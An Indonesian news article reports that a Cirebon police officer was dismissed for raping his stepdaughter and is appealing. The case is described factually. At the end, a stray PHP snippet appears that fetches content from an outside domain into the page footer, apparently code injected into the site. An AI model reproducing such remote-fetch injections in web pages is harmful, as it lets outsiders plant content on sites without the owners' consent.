Perkosa Anak Tiri, Oknum Polisi Kota Cirebon tak Terima Dipecat

Sabtu, 27 Mei 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Ilustrasi. (Foto: Jejakkasus.info Jawa Barat)

Ilustrasi. (Foto: Jejakkasus.info Jawa Barat)

Cirebon l Jejakkasus.info – Kabag SDM Polres Cirebon Kota Kompol Didi Wahyudi Sunansyah, mengatakan Briptu CH dipecat dari kepolisian, karena terbukti telah memperkosa anak tirinya.

“Dalam sidang Komisi Kode Etik Profesi (KKEP) yang digelar di Mapolres Cirebon Kota, pada Kamis, 25 Mei 2023, CH dijatuhi vonis Pemberhentian Tidak Dengan Hormat (PTDH),” kata Didi yang juga anggota komisi dalam sidang kode etik, Sabtu (27/5/2023) di Kota Cirebon, Jawa Barat.

CH, kata Didi, juga diminta untuk menyampaikan permohonan maaf kepada keluarga korban dan pimpinan Polri atas perbuatan bejat yang dilakukannya itu.

Baca Juga:  Kebalnya Bandar Judi di Bandung Sampai- Sampai Tidak Tercolek Polda Jabar

Menurut Didi, untuk hasil sidang Komisi Kode Etik Profesi (KKEP) Polri terhadap Briptu CH ada putusan yang dikenakan terhadap yang bersangkutan.

“Yang pertama, Briptu CH ini harus menyampaikan permohonan maaf kepada keluarga korban dan kepada institusi Polri. Kemudian ada putusan dalam sidang kode etik tersebut, bahwa Briptu CH ini dikenakan putusan PTDH,” kata Didi.

Dalam sidang itu, kata Didi, ada beberapa hal yang meringankan dan juga memberatkan CH.

Baca Juga:  Kompol Siregar : Hari Minggu Fokuskan Bansos di Kelurahan Sukapura 

Adapun hal yang meringankan, adalah bersikap baik dan koperatif selama menjalani proses hukum.

“Artinya dia tidak berbelit-belit. Jadi apa yang dia lakukan dan dia alami itu disampaikan dengan gamblang di depan sidang. Kemudian selama berdinas dia tidak pernah melakukan perbuatan yang merugikan institusi. Dia tidak belum pernah kena sidang disiplin, apalagi sidang kode etik. Baru kali ini,” kata Didi.

Sementara hal yang memberatkan, kata Didi, adalah CH telah dianggap mencoreng institusi Polri karena perbuatannya.

“Sehingga vonis pemecatan pun diberikan,” kata Didi.

Baca Juga:  Para Mantan UPT Dinas Pendidikan Diperiksa KPK

Yang memberat CH, kata Didi, perbuatannya yang telah menciderai nama baik institusi Polri.

“Menjadi korban, adalah anak sambungnya, yang seharusnya menjadi tanggung jawab dia,” kata Didi.

CH, kata Didi, tak terima dengan sanksi pemecatan.

CH kemudian mengajukan banding atas putusan tersebut.

“Atas putusan ini Briptu CH, mengajukan banding. Itu memang haknya yang bersangkutan,” kata Didi.

“Untuk mengajukan banding di internal Polri, diberikan waktu 21 hari dari putusan sekarang. Tinggal disiapkan untuk memori bandingnya,” imbuh Didi.

(Erdan Faizal)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>